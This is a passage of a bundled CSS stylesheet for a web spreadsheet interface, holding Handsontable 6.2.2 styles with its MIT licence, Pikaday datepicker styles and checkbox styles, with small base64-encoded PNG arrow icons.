span.labelauty-unchecked, input.labelauty + label > span.labelauty-checked-image + span.labelauty-checked { margin-left: 7px; } /* When not Checked */ input.labelauty:not(:checked):not([disabled]) + label:hover { background-color: #eaeaea; color: #a7a7a7; } input.labelauty:not(:checked) + label > span.labelauty-checked-image { display: none; } input.labelauty:not(:checked) + label > span.labelauty-checked { display: none; } /* When Checked */ input.labelauty:checked + label { background-color: #3498db; color: #ffffff; } input.labelauty:checked:not([disabled]) + label:hover { background-color: #72c5fd; } input.labelauty:checked + label > span.labelauty-unchecked-image { display: none; } input.labelauty:checked + label > span.labelauty-unchecked { display: none; } input.labelauty:checked + label > span.labelauty-checked { display: inline-block; } input.labelauty.no-label:checked + label > span.labelauty-checked { display: block; } /* When Disabled */ input.labelauty[disabled] + label { opacity: 0.5; } /* Add a background to (un)checked images */ input.labelauty + label > span.labelauty-unchecked-image { background-image: url( ../images/input-unchecked.png ); } input.labelauty + label > span.labelauty-checked-image { background-image: url( ../images/input-checked.png ); } /*! * (The MIT License) * * Copyright (c) 2012-2014 Marcin Warpechowski * Copyright (c) 2015 Handsoncode sp. z o.o. * * Permission is hereby granted, free of charge, to any person obtaining * a copy of this software and associated documentation files (the * 'Software'), to deal in the Software without restriction, including * without limitation the rights to use, copy, modify, merge, publish, * distribute, sublicense, and/or sell copies of the Software, and to * permit persons to whom the Software is furnished to do so, subject to * the following conditions: * * The above copyright notice and this permission notice shall be * included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * Version: 6.2.2 * Release date: 19/12/2018 (built at 18/12/2018 14:40:17) */ /** * Fix for bootstrap styles */ .handsontable .table th, .handsontable .table td { border-top: none; } .handsontable tr { background: #fff; } .handsontable td { background-color: inherit; } .handsontable .table caption + thead tr:first-child th, .handsontable .table caption + thead tr:first-child td, .handsontable .table colgroup + thead tr:first-child th, .handsontable .table colgroup + thead tr:first-child td, .handsontable .table thead:first-child tr:first-child th, .handsontable .table thead:first-child tr:first-child td { border-top: 1px solid #CCCCCC; } /* table-bordered */ .handsontable .table-bordered { border: 0; border-collapse: separate; } .handsontable .table-bordered th, .handsontable .table-bordered td { border-left: none; } .handsontable .table-bordered th:first-child, .handsontable .table-bordered td:first-child { border-left: 1px solid #CCCCCC; } .handsontable .table > tbody > tr > td, .handsontable .table > tbody > tr > th, .handsontable .table > tfoot > tr > td, .handsontable .table > tfoot > tr > th, .handsontable .table > thead > tr > td, .handsontable .table > thead > tr > th { line-height: 21px; padding: 0 4px; } .col-lg-1.handsontable, .col-lg-10.handsontable, .col-lg-11.handsontable, .col-lg-12.handsontable, .col-lg-2.handsontable, .col-lg-3.handsontable, .col-lg-4.handsontable, .col-lg-5.handsontable, .col-lg-6.handsontable, .col-lg-7.handsontable, .col-lg-8.handsontable, .col-lg-9.handsontable, .col-md-1.handsontable, .col-md-10.handsontable, .col-md-11.handsontable, .col-md-12.handsontable, .col-md-2.handsontable, .col-md-3.handsontable, .col-md-4.handsontable, .col-md-5.handsontable, .col-md-6.handsontable, .col-md-7.handsontable, .col-md-8.handsontable, .col-md-9.handsontable .col-sm-1.handsontable, .col-sm-10.handsontable, .col-sm-11.handsontable, .col-sm-12.handsontable, .col-sm-2.handsontable, .col-sm-3.handsontable, .col-sm-4.handsontable, .col-sm-5.handsontable, .col-sm-6.handsontable, .col-sm-7.handsontable, .col-sm-8.handsontable, .col-sm-9.handsontable .col-xs-1.handsontable, .col-xs-10.handsontable, .col-xs-11.handsontable, .col-xs-12.handsontable, .col-xs-2.handsontable, .col-xs-3.handsontable, .col-xs-4.handsontable, .col-xs-5.handsontable, .col-xs-6.handsontable, .col-xs-7.handsontable, .col-xs-8.handsontable, .col-xs-9.handsontable { padding-left: 0; padding-right: 0; } .handsontable .table-striped > tbody > tr:nth-of-type(even) { background-color: #FFF; } .handsontable { position: relative; } .handsontable .hide{ display: none; } .handsontable .relative { position: relative; } .handsontable.htAutoSize { visibility: hidden; left: -99000px; position: absolute; top: -99000px; } .handsontable .wtHider { width: 0; } .handsontable .wtSpreader { position: relative; width: 0; /*must be 0, otherwise blank space appears in scroll demo after scrolling max to the right */ height: auto; } .handsontable table, .handsontable tbody, .handsontable thead, .handsontable td, .handsontable th, .handsontable input, .handsontable textarea, .handsontable div { box-sizing: content-box; -webkit-box-sizing: content-box; -moz-box-sizing: content-box; } .handsontable input, .handsontable textarea { min-height: initial; } .handsontable table.htCore { border-collapse: separate; /* it must be separate, otherwise there are offset miscalculations in WebKit: http://stackoverflow.com/questions/2655987/border-collapse-differences-in-ff-and-webkit */ /* this actually only changes appearance of user selection - does not make text unselectable */ /* -webkit-user-select: none; -khtml-user-select: none; -moz-user-select: none; -o-user-select: none; -ms-user-select: none; user-select: none; */ /* no browser supports unprefixed version */ border-spacing: 0; margin: 0; border-width: 0; table-layout: fixed; width: 0; outline-width: 0; cursor: default; /* reset bootstrap table style. for more info see: https://github.com/handsontable/handsontable/issues/224 */ max-width: none; max-height: none; } .handsontable col { width: 50px; } .handsontable col.rowHeader { width: 50px; } .handsontable th, .handsontable td { border-top-width: 0; border-left-width: 0; border-right: 1px solid #CCC; border-bottom: 1px solid #CCC; height: 22px; empty-cells: show; line-height: 21px; padding: 0 4px 0 4px; /* top, bottom padding different than 0 is handled poorly by FF with HTML5 doctype */ background-color: #FFF; vertical-align: top; overflow: hidden; outline-width: 0; white-space: pre-line; /* preserve new line character in cell */ background-clip: padding-box; } .handsontable td.htInvalid { background-color: #ff4c42 !important; /*gives priority over td.area selection background*/ } .handsontable td.htNoWrap { white-space: nowrap; } .handsontable th:last-child { /*Foundation framework fix*/ border-right: 1px solid #CCC; border-bottom: 1px solid #CCC; } .handsontable tr:first-child th.htNoFrame, .handsontable th:first-child.htNoFrame, .handsontable th.htNoFrame { border-left-width: 0; background-color: white; border-color: #FFF; } .handsontable th:first-child, .handsontable th:nth-child(2), .handsontable td:first-of-type, .handsontable .htNoFrame + th, .handsontable .htNoFrame + td { border-left: 1px solid #CCC; } .handsontable.htRowHeaders thead tr th:nth-child(2) { border-left: 1px solid #CCC; } .handsontable tr:first-child th, .handsontable tr:first-child td { border-top: 1px solid #CCC; } .ht_master:not(.innerBorderLeft):not(.emptyColumns) ~ .handsontable tbody tr th, .ht_master:not(.innerBorderLeft):not(.emptyColumns) ~ .handsontable:not(.ht_clone_top) thead tr th:first-child { border-right-width: 0; } .ht_master:not(.innerBorderTop) thead tr:last-child th, .ht_master:not(.innerBorderTop) ~ .handsontable thead tr:last-child th, .ht_master:not(.innerBorderTop) thead tr.lastChild th, .ht_master:not(.innerBorderTop) ~ .handsontable thead tr.lastChild th { border-bottom-width: 0; } .handsontable th { background-color: #f0f0f0; color: #222; text-align: center; font-weight: normal; white-space: nowrap; } .handsontable thead th { padding: 0; } .handsontable th.active { background-color: #CCC; } .handsontable thead th .relative { padding: 2px 4px; } #hot-display-license-info { font-size: 10px; color: #323232 ; padding: 5px 0 3px 0; font-family: Helvetica, Arial, sans-serif; text-align: left; } /* plugins */ /* row + column resizer*/ .handsontable .manualColumnResizer { position: fixed; top: 0; cursor: col-resize; z-index: 110; width: 5px; height: 25px; } .handsontable .manualRowResizer { position: fixed; left: 0; cursor: row-resize; z-index: 110; height: 5px; width: 50px; } .handsontable .manualColumnResizer:hover, .handsontable .manualColumnResizer.active, .handsontable .manualRowResizer:hover, .handsontable .manualRowResizer.active { background-color: #34a9db; } .handsontable .manualColumnResizerGuide { position: fixed; right: 0; top: 0; background-color: #34a9db; display: none; width: 0; border-right: 1px dashed #777; margin-left: 5px; } .handsontable .manualRowResizerGuide { position: fixed; left: 0; bottom: 0; background-color: #34a9db; display: none; height: 0; border-bottom: 1px dashed #777; margin-top: 5px; } .handsontable .manualColumnResizerGuide.active, .handsontable .manualRowResizerGuide.active { display: block; z-index: 199; } .handsontable .columnSorting { position: relative; } .handsontable .columnSorting.sortAction:hover { text-decoration: underline; cursor: pointer; } .handsontable span.colHeader { display: inline-block; line-height: 1.1; } /* Arrow position */ .handsontable span.colHeader.columnSorting::before { /* Centering start */ top: 50%; margin-top: -6px; /* One extra pixel for purpose of proper positioning of sorting arrow, when `font-size` set to default */ /* Centering end */ padding-left: 8px; /* For purpose of continuous mouse over experience, when moving between the `span` and the `::before` elements */ position: absolute; right: -9px; content: ''; height: 10px; width: 5px; background-size: contain; background-repeat: no-repeat; background-position-x: right; } .handsontable span.colHeader.columnSorting.ascending::before { /* arrow up; 20 x 40 px, scaled to 5 x 10 px; base64 size: 0.3kB */ background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAoCAMAAADJ7yrpAAAAKlBMVEUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKE86IAAAADXRSTlMABBEmRGprlJW72e77tTkTKwAAAFNJREFUeAHtzjkSgCAUBNHPgsoy97+ulGXRqJE5L+xkxoYt2UdsLb5bqFINz+aLuuLn5rIu2RkO3fZpWENimNgiw6iBYRTPMLJjGFxQZ1hxxb/xBI1qC8k39CdKAAAAAElFTkSuQmCC"); } .handsontable span.colHeader.columnSorting.descending::before { /* arrow down; 20 x 40 px, scaled to 5 x 10 px; base64 size: 0.3kB */ background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAoCAMAAADJ7yrpAAAAKlBMVEUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKE86IAAAADXRSTlMABBEmRGprlJW72e77tTkTKwAAAFJJREFUeAHtzjkSgCAQRNFmQYUZ7n9dKUvru0TmvPAn3br0QfgdZ5xx6x+rQn23GqTYnq1FDcnuzZIO2WmedVqIRVxgGKEyjNgYRjKGkZ1hFIZ3I70LyM0VtU8AAAAASUVORK5CYII="); } .htGhostTable .htCore span.colHeader.columnSorting:not(.indicatorDisabled)::after { content: '*'; display: inline-block; position: relative; /* The multi-line header and header with longer text need more padding to not hide arrow, we make header wider in `GhostTable` to make some space for arrow which is positioned absolutely in the main table */ padding-right: 20px; } /* Selection */ .handsontable .wtBorder { position: absolute; font-size: 0; } .handsontable .wtBorder.hidden{ display:none !important; } /* A layer order of the selection types */ .handsontable .wtBorder.current { z-index: 10; } .handsontable .wtBorder.area { z-index: 8; } .handsontable .wtBorder.fill { z-index: 6; } .handsontable td.area, .handsontable td.area-1, .handsontable td.area-2, .handsontable td.area-3, .handsontable td.area-4, .handsontable td.area-5, .handsontable td.area-6, .handsontable td.area-7 { position: relative; } .handsontable td.area:before, .handsontable td.area-1:before, .handsontable td.area-2:before, .handsontable td.area-3:before, .handsontable td.area-4:before, .handsontable td.area-5:before, .handsontable td.area-6:before, .handsontable td.area-7:before { content: ''; position: absolute; top: 0; left: 0; right: 0; bottom: 0; bottom: -100%\9; /* Fix for IE9 to spread the ":before" pseudo element to 100% height of the parent element */ background: #005eff; } /* Fix for IE10 and IE11 to spread the ":before" pseudo element to 100% height of the parent element */ @media screen and (-ms-high-contrast: active), (-ms-high-contrast: none) { .handsontable td.area:before, .handsontable td.area-1:before, .handsontable td.area-2:before, .handsontable td.area-3:before, .handsontable td.area-4:before, .handsontable td.area-5:before, .handsontable td.area-6:before, .handsontable td.area-7:before { bottom: -100%; } } .handsontable td.area:before { opacity: 0.1; } .handsontable td.area-1:before { opacity: 0.2; } .handsontable td.area-2:before { opacity: 0.27; } .handsontable td.area-3:before { opacity: 0.35; } .handsontable td.area-4:before { opacity: 0.41; } .handsontable td.area-5:before { opacity: 0.47; } .handsontable td.area-6:before { opacity: 0.54; } .handsontable td.area-7:before { opacity: 0.58; } .handsontable tbody th.ht__highlight, .handsontable thead th.ht__highlight { background-color: #dcdcdc; } .handsontable tbody th.ht__active_highlight, .handsontable thead th.ht__active_highlight { background-color: #8eb0e7; color: #000; } /* fill handle */ .handsontable .wtBorder.corner { font-size: 0; cursor: crosshair; } .handsontable .htBorder.htFillBorder { background: red; width: 1px; height: 1px; } .handsontableInput { border: none; outline-width: 0; margin: 0; padding: 1px 5px 0 5px; font-family: inherit; line-height: 21px; font-size: inherit; box-shadow: 0 0 0 2px #5292F7 inset; resize: none; /*below are needed to overwrite stuff added by jQuery UI Bootstrap theme*/ display: block; color: #000; border-radius: 0; background-color: #FFF; /*overwrite styles potentionally made by a framework*/ } .handsontableInputHolder { position: absolute; top: 0; left: 0; z-index: 104; } .htSelectEditor { -webkit-appearance: menulist-button !important; position: absolute; width: auto; } /* TextRenderer readOnly cell */ .handsontable .htDimmed { color: #777; } .handsontable .htSubmenu { position: relative; } .handsontable .htSubmenu :after{ content: '\25B6'; color: #777; position: absolute; right: 5px; font-size: 9px; } /* TextRenderer horizontal alignment */ .handsontable .htLeft{ text-align: left; } .handsontable .htCenter{ text-align: center; } .handsontable .htRight{ text-align: right; } .handsontable .htJustify{ text-align: justify; } /* TextRenderer vertical alignment */ .handsontable .htTop{ vertical-align: top; } .handsontable .htMiddle{ vertical-align: middle; } .handsontable .htBottom{ vertical-align: bottom; } /* TextRenderer placeholder value */ .handsontable .htPlaceholder { color: #999; } /* AutocompleteRenderer down arrow */ .handsontable .htAutocompleteArrow { float: right; font-size: 10px; color: #EEE; cursor: default; width: 16px; text-align: center; } .handsontable td .htAutocompleteArrow:hover { color: #777; } .handsontable td.area .htAutocompleteArrow { color: #d3d3d3; } /* CheckboxRenderer */ .handsontable .htCheckboxRendererInput { display: inline-block; vertical-align: middle; } .handsontable .htCheckboxRendererInput.noValue { opacity: 0.5; } .handsontable .htCheckboxRendererLabel { cursor: pointer; display: inline-block; width: 100%; } /** * Handsontable in Handsontable */ .handsontable .handsontable.ht_clone_top .wtHider { padding: 0 0 5px 0; } /** * Autocomplete Editor */ .handsontable .autocompleteEditor.handsontable { padding-right: 17px; } .handsontable .autocompleteEditor.handsontable.htMacScroll { padding-right: 15px; } /** * Handsontable listbox theme */ .handsontable.listbox { margin: 0; } .handsontable.listbox .ht_master table { border: 1px solid #ccc; border-collapse: separate; background: white; } .handsontable.listbox th, .handsontable.listbox tr:first-child th, .handsontable.listbox tr:last-child th, .handsontable.listbox tr:first-child td, .handsontable.listbox td { border-color: transparent; } .handsontable.listbox th, .handsontable.listbox td { white-space: nowrap; text-overflow: ellipsis; } .handsontable.listbox td.htDimmed { cursor: default; color: inherit; font-style: inherit; } .handsontable.listbox .wtBorder { visibility: hidden; } .handsontable.listbox tr td.current, .handsontable.listbox tr:hover td { background: #eee; } .ht_clone_top { z-index: 101; } .ht_clone_left { z-index: 102; } .ht_clone_top_left_corner, .ht_clone_bottom_left_corner { z-index: 103; } .ht_clone_debug { z-index: 103; } .handsontable td.htSearchResult { background: #fcedd9; color: #583707; } /* Cell borders */ .htBordered{ /*box-sizing: border-box !important;*/ border-width: 1px; } .htBordered.htTopBorderSolid { border-top-style: solid; border-top-color: #000; } .htBordered.htRightBorderSolid { border-right-style: solid; border-right-color: #000; } .htBordered.htBottomBorderSolid { border-bottom-style: solid; border-bottom-color: #000; } .htBordered.htLeftBorderSolid { border-left-style: solid; border-left-color: #000; } .handsontable tbody tr th:nth-last-child(2) { border-right: 1px solid #CCC; } .handsontable thead tr:nth-last-child(2) th.htGroupIndicatorContainer { border-bottom: 1px solid #CCC; padding-bottom: 5px; } .ht_clone_top_left_corner thead tr th:nth-last-child(2) { border-right: 1px solid #CCC; } .htCollapseButton { width: 10px; height: 10px; line-height: 10px; text-align: center; border-radius: 5px; border: 1px solid #f3f3f3; -webkit-box-shadow: 1px 1px 3px rgba(0, 0, 0, 0.4); box-shadow: 1px 1px 3px rgba(0, 0, 0, 0.4); cursor: pointer; margin-bottom: 3px; position: relative; } .htCollapseButton:after { content: ""; height: 300%; width: 1px; display: block; background: #ccc; margin-left: 4px; position: absolute; /*top: -300%;*/ bottom: 10px; } thead .htCollapseButton { right: 5px; position: absolute; top: 5px; background: #fff; } thead .htCollapseButton:after { height: 1px; width: 700%; right: 10px; top: 4px; } .handsontable tr th .htExpandButton { position: absolute; width: 10px; height: 10px; line-height: 10px; text-align: center; border-radius: 5px; border: 1px solid #f3f3f3; -webkit-box-shadow: 1px 1px 3px rgba(0, 0, 0, 0.4); box-shadow: 1px 1px 3px rgba(0, 0, 0, 0.4); cursor: pointer; top: 0; display: none; } .handsontable thead tr th .htExpandButton { /*left: 5px;*/ top: 5px; } .handsontable tr th .htExpandButton.clickable { display: block; } .collapsibleIndicator { position: absolute; top: 50%; transform: translate(0% ,-50%); right: 5px; border: 1px solid #A6A6A6; line-height: 10px; color: #222; border-radius: 10px; font-size: 10px; width: 10px; height: 10px; cursor: pointer; -webkit-box-shadow: 0 0 0 6px rgba(238,238,238,1); -moz-box-shadow: 0 0 0 6px rgba(238,238,238,1); box-shadow: 0 0 0 6px rgba(238,238,238,1); background: #eee; } .handsontable col.hidden { width: 0 !important; } .handsontable table tr th.lightRightBorder { border-right: 1px solid #E6E6E6; } .handsontable tr.hidden, .handsontable tr.hidden td, .handsontable tr.hidden th { display: none; } .ht_master, .ht_clone_left, .ht_clone_top, .ht_clone_bottom { overflow: hidden; } .ht_master .wtHolder { overflow: auto; } .handsontable .ht_master thead, .handsontable .ht_master tr th, .handsontable .ht_clone_left thead { visibility: hidden; } .ht_clone_top .wtHolder, .ht_clone_left .wtHolder, .ht_clone_bottom .wtHolder { overflow: hidden; } /* Handsontable Mobile Text Editor stylesheet */ .handsontable.mobile, .handsontable.mobile .wtHolder { -webkit-touch-callout:none; -webkit-user-select:none; -khtml-user-select:none; -moz-user-select:none; -ms-user-select:none; user-select:none; -webkit-tap-highlight-color:rgba(0,0,0,0); -webkit-overflow-scrolling: touch; } .htMobileEditorContainer { display: none; position: absolute; top: 0; width: 70%; height: 54pt; background: #f8f8f8; border-radius: 20px; border: 1px solid #ebebeb; z-index: 999; box-sizing: border-box; -webkit-box-sizing: border-box; -webkit-text-size-adjust: none; } .topLeftSelectionHandle:not(.ht_master .topLeftSelectionHandle), .topLeftSelectionHandle-HitArea:not(.ht_master .topLeftSelectionHandle-HitArea) { z-index: 9999; } /* Initial left/top coordinates - overwritten when actual position is set */ .topLeftSelectionHandle, .topLeftSelectionHandle-HitArea, .bottomRightSelectionHandle, .bottomRightSelectionHandle-HitArea { left: -10000px; top: -10000px; } .htMobileEditorContainer.active { display: block; } .htMobileEditorContainer .inputs { position: absolute; right: 210pt; bottom: 10pt; top: 10pt; left: 14px; height: 34pt; } .htMobileEditorContainer .inputs textarea { font-size: 13pt; border: 1px solid #a1a1a1; -webkit-appearance: none; -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; position: absolute; left: 14px; right: 14px; top: 0; bottom: 0; padding: 7pt; } .htMobileEditorContainer .cellPointer { position: absolute; top: -13pt; height: 0; width: 0; left: 30px; border-left: 13pt solid transparent; border-right: 13pt solid transparent; border-bottom: 13pt solid #ebebeb; } .htMobileEditorContainer .cellPointer.hidden { display: none; } .htMobileEditorContainer .cellPointer:before { content: ''; display: block; position: absolute; top: 2px; height: 0; width: 0; left: -13pt; border-left: 13pt solid transparent; border-right: 13pt solid transparent; border-bottom: 13pt solid #f8f8f8; } .htMobileEditorContainer .moveHandle { position: absolute; top: 10pt; left: 5px; width: 30px; bottom: 0px; cursor: move; z-index: 9999; } .htMobileEditorContainer .moveHandle:after { content: "..\A..\A..\A.."; white-space: pre; line-height: 10px; font-size: 20pt; display: inline-block; margin-top: -8px; color: #ebebeb; } .htMobileEditorContainer .positionControls { width: 205pt; position: absolute; right: 5pt; top: 0; bottom: 0; } .htMobileEditorContainer .positionControls > div { width: 50pt; height: 100%; float: left; } .htMobileEditorContainer .positionControls > div:after { content: " "; display: block; width: 15pt; height: 15pt; text-align: center; line-height: 50pt; } .htMobileEditorContainer .leftButton:after, .htMobileEditorContainer .rightButton:after, .htMobileEditorContainer .upButton:after, .htMobileEditorContainer .downButton:after { transform-origin: 5pt 5pt; -webkit-transform-origin: 5pt 5pt; margin: 21pt 0 0 21pt; } .htMobileEditorContainer .leftButton:after { border-top: 2px solid #288ffe; border-left: 2px solid #288ffe; -webkit-transform: rotate(-45deg); /*margin-top: 17pt;*/ /*margin-left: 20pt;*/ } .htMobileEditorContainer .leftButton:active:after { border-color: #cfcfcf; } .htMobileEditorContainer .rightButton:after { border-top: 2px solid #288ffe; border-left: 2px solid #288ffe; -webkit-transform: rotate(135deg); /*margin-top: 17pt;*/ /*margin-left: 10pt;*/ } .htMobileEditorContainer .rightButton:active:after { border-color: #cfcfcf; } .htMobileEditorContainer .upButton:after { /*border-top: 2px solid #cfcfcf;*/ border-top: 2px solid #288ffe; border-left: 2px solid #288ffe; -webkit-transform: rotate(45deg); /*margin-top: 22pt;*/ /*margin-left: 15pt;*/ } .htMobileEditorContainer .upButton:active:after { border-color: #cfcfcf; } .htMobileEditorContainer .downButton:after { border-top: 2px solid #288ffe; border-left: 2px solid #288ffe; -webkit-transform: rotate(225deg); /*margin-top: 15pt;*/ /*margin-left: 15pt;*/ } .htMobileEditorContainer .downButton:active:after { border-color: #cfcfcf; } .handsontable.hide-tween { -webkit-animation: opacity-hide 0.3s; animation: opacity-hide 0.3s; animation-fill-mode: forwards; -webkit-animation-fill-mode: forwards; } .handsontable.show-tween { -webkit-animation: opacity-show 0.3s; animation: opacity-show 0.3s; animation-fill-mode: forwards; -webkit-animation-fill-mode: forwards; } @charset "UTF-8"; /*! * Pikaday * Copyright © 2014 David Bushell | BSD & MIT license | http://dbushell.com/ */ .pika-single { z-index: 9999; display: block; position: relative; color: #333; background: #fff; border: 1px solid #ccc; border-bottom-color: #bbb; font-family: "Helvetica Neue", Helvetica, Arial, sans-serif; } /* clear child float (pika-lendar), using the famous micro clearfix hack http://nicolasgallagher.com/micro-clearfix-hack/ */ .pika-single:before, .pika-single:after { content: " "; display: table; } .pika-single:after { clear: both } .pika-single { *zoom: 1 } .pika-single.is-hidden { display: none; } .pika-single.is-bound { position: absolute; box-shadow: 0 5px 15px -5px rgba(0,0,0,.5); } .pika-lendar { float: left; width: 240px; margin: 8px; } .pika-title { position: relative; text-align: center; } .pika-label { display: inline-block; *display: inline; position: relative; z-index: 9999; overflow: hidden; margin: 0; padding: 5px 3px; font-size: 14px; line-height: 20px; font-weight: bold; background-color: #fff; } .pika-title select { cursor: pointer; position: absolute; z-index: 9998; margin: 0; left: 0; top: 5px; filter: alpha(opacity=0); opacity: 0; } .pika-prev, .pika-next { display: block; cursor: pointer; position: relative; outline: none; border: 0; padding: 0; width: 20px; height: 30px; /* hide text using text-indent trick, using width value (it's enough) */ text-indent: 20px; white-space: nowrap; overflow: hidden; background-color: transparent; background-position: center center; background-repeat: no-repeat; background-size: 75% 75%; opacity: .5; *position: absolute; *top: 0; } .pika-prev:hover, .pika-next:hover { opacity: 1; } .pika-prev, .is-rtl .pika-next { float: left; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAeCAYAAAAsEj5rAAAAUklEQVR42u3VMQoAIBADQf8Pgj+OD9hG2CtONJB2ymQkKe0HbwAP0xucDiQWARITIDEBEnMgMQ8S8+AqBIl6kKgHiXqQqAeJepBo/z38J/U0uAHlaBkBl9I4GwAAAABJRU5ErkJggg=='); *left: 0; } .pika-next, .is-rtl .pika-prev { float: right; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAeCAYAAAAsEj5rAAAAU0lEQVR42u3VOwoAMAgE0dwfAnNjU26bYkBCFGwfiL9VVWoO+BJ4Gf3gtsEKKoFBNTCoCAYVwaAiGNQGMUHMkjGbgjk2mIONuXo0nC8XnCf1JXgArVIZAQh5TKYAAAAASUVORK5CYII='); *right: 0; } .pika-prev.is-disabled, .pika-next.is-disabled { cursor: default; opacity: .2; } .pika-select { display: inline-block; *display: inline; } .pika-table { width: 100%; border-collapse: collapse; border-spacing: 0; border: 0; } .pika-table th, .pika-table td { width: 14.285714285714286%; padding: 0; } .pika-table th { color: #999; font-size: 12px; line-height: 25px; font-weight: bold; text-align: center; } .pika-button { cursor: pointer; display: block; box-sizing: border-box; -moz-box-sizing: border-box; outline: none; border: 0; margin: 0; width: 100%; padding: 5px; color: #666; font-size: 12px; line-height: 15px; text-align: right; background: #f5f5f5; } .pika-week { font-size: 11px; color: #999; } .is-today .pika-button { color: #33aaff; font-weight: bold; } .is-selected .pika-button { color: #fff; font-weight: bold; background: #33aaff; box-shadow: inset 0 1px 3px #178fe5; border-radius: 3px; } .is-inrange .pika-button { background: #D5E9F7; } .is-startrange .pika-button { color: #fff; background: #6CB31D; box-shadow: none; border-radius: 3px; } .is-endrange .pika-button { color: #fff; background: #33aaff; box-shadow: none; border-radius: 3px; } .is-disabled .pika-button, .is-outside-current-month .pika-button { pointer-events: none; cursor: default; color: #999; opacity: .3; } .pika-button:hover { color: #fff; background: #ff8000; box-shadow: none; border-radius: 3px; } /* styling for abbr */ .pika-table abbr { border-bottom: none; cursor: help; } .htCommentCell { position: relative; } .htCommentCell:after { content: ''; position: absolute; top: 0; right: 0; border-left: 6px solid transparent; border-top: 6px solid black; } .htComments { display: none; z-index: 1059; position: absolute; } .htCommentTextArea { box-shadow: rgba(0, 0, 0, 0.117647) 0 1px 3px, rgba(0, 0, 0, 0.239216) 0 1px 2px; -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; border: none; border-left: 3px solid #ccc; background-color: #fff; width: 215px; height: 90px; font-size: 12px; padding: 5px; outline: 0px !important; -webkit-appearance: none; } .htCommentTextArea:focus { box-shadow: rgba(0, 0, 0, 0.117647) 0 1px 3px, rgba(0, 0, 0, 0.239216) 0 1px 2px, inset 0 0 0 1px #5292f7; border-left: 3px solid #5292f7; } /*! * Handsontable ContextMenu */ .htContextMenu:not(.htGhostTable) { display: none; position: absolute; z-index: 1060; /* needs to be higher than 1050 - z-index for Twitter Bootstrap modal (#1569) */ } .htContextMenu .ht_clone_top, .htContextMenu .ht_clone_left, .htContextMenu .ht_clone_corner, .htContextMenu .ht_clone_debug { display: none; } .htContextMenu table.htCore { border: 1px solid #ccc; border-bottom-width: 2px; border-right-width: 2px; } .htContextMenu .wtBorder { visibility: hidden; } .htContextMenu table tbody tr td { background: white; border-width: 0; padding: 4px 6px 0 6px; cursor: pointer; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; } .htContextMenu table tbody tr td:first-child { border: 0; } .htContextMenu table tbody tr td.htDimmed { font-style: normal; color: #323232; } .htContextMenu table tbody tr td.current, .htContextMenu table tbody tr td.zeroclipboard-is-hover { background: #f3f3f3; } .htContextMenu table tbody tr td.htSeparator { border-top: 1px solid #e6e6e6; height: 0; padding: 0; cursor: default; } .htContextMenu table tbody tr td.htDisabled { color: #999; cursor: default; } .htContextMenu table tbody tr td.htDisabled:hover { background: #fff; color: #999; cursor: default; } .htContextMenu table tbody tr.htHidden { display: none; } .htContextMenu table tbody tr td .htItemWrapper { margin-left: 10px; margin-right: 6px; } .htContextMenu table tbody tr td div span.selected { margin-top: -2px; position: absolute; left: 4px; } .htContextMenu .ht_master .wtHolder { overflow: hidden; } textarea#HandsontableCopyPaste { position: fixed !important; top: 0 !important; right: 100% !important; overflow: hidden; opacity: 0; outline: 0 none !important; } .htRowHeaders .ht_master.innerBorderLeft ~ .ht_clone_top_left_corner th:nth-child(2), .htRowHeaders .ht_master.innerBorderLeft ~ .ht_clone_left td:first-of-type { border-left: 0 none; } .handsontable .wtHider { position: relative; } .handsontable.ht__manualColumnMove.after-selection--columns thead th.ht__highlight { cursor: move; cursor: -moz-grab; cursor: -webkit-grab; cursor: grab; } .handsontable.ht__manualColumnMove.on-moving--columns, .handsontable.ht__manualColumnMove.on-moving--columns thead th.ht__highlight { cursor: move; cursor: -moz-grabbing; cursor: -webkit-grabbing; cursor: grabbing; } .handsontable.ht__manualColumnMove.on-moving--columns .manualColumnResizer { display: none; } .handsontable .ht__manualColumnMove--guideline, .handsontable .ht__manualColumnMove--backlight { position: absolute; height: 100%; display: none; } .handsontable .ht__manualColumnMove--guideline { background: #757575; width: 2px; top: 0; margin-left: -1px; z-index: 105; } .handsontable .ht__manualColumnMove--backlight { background: #343434; background: rgba(52, 52, 52, 0.25); display: none; z-index: 105; pointer-events: none; } .handsontable.on-moving--columns.show-ui .ht__manualColumnMove--guideline, .handsontable.on-moving--columns .ht__manualColumnMove--backlight { display: block; } .handsontable .wtHider { position: relative; } .handsontable.ht__manualRowMove.after-selection--rows tbody th.ht__highlight { cursor: move; cursor: -moz-grab; cursor: -webkit-grab; cursor: grab; } .handsontable.ht__manualRowMove.on-moving--rows, .handsontable.ht__manualRowMove.on-moving--rows tbody th.ht__highlight { cursor: move; cursor: -moz-grabbing; cursor: -webkit-grabbing; cursor: grabbing; } .handsontable.ht__manualRowMove.on-moving--rows .manualRowResizer { display: none; } .handsontable .ht__manualRowMove--guideline, .handsontable .ht__manualRowMove--backlight { position: absolute; width: 100%; display: none; } .handsontable .ht__manualRowMove--guideline { background: #757575; height: 2px; left: 0; margin-top: -1px; z-index: 105; } .handsontable .ht__manualRowMove--backlight { background: #343434; background: rgba(52, 52, 52, 0.25); display: none; z-index: 105; pointer-events: none; } .handsontable.on-moving--rows.show-ui .ht__manualRowMove--guideline, 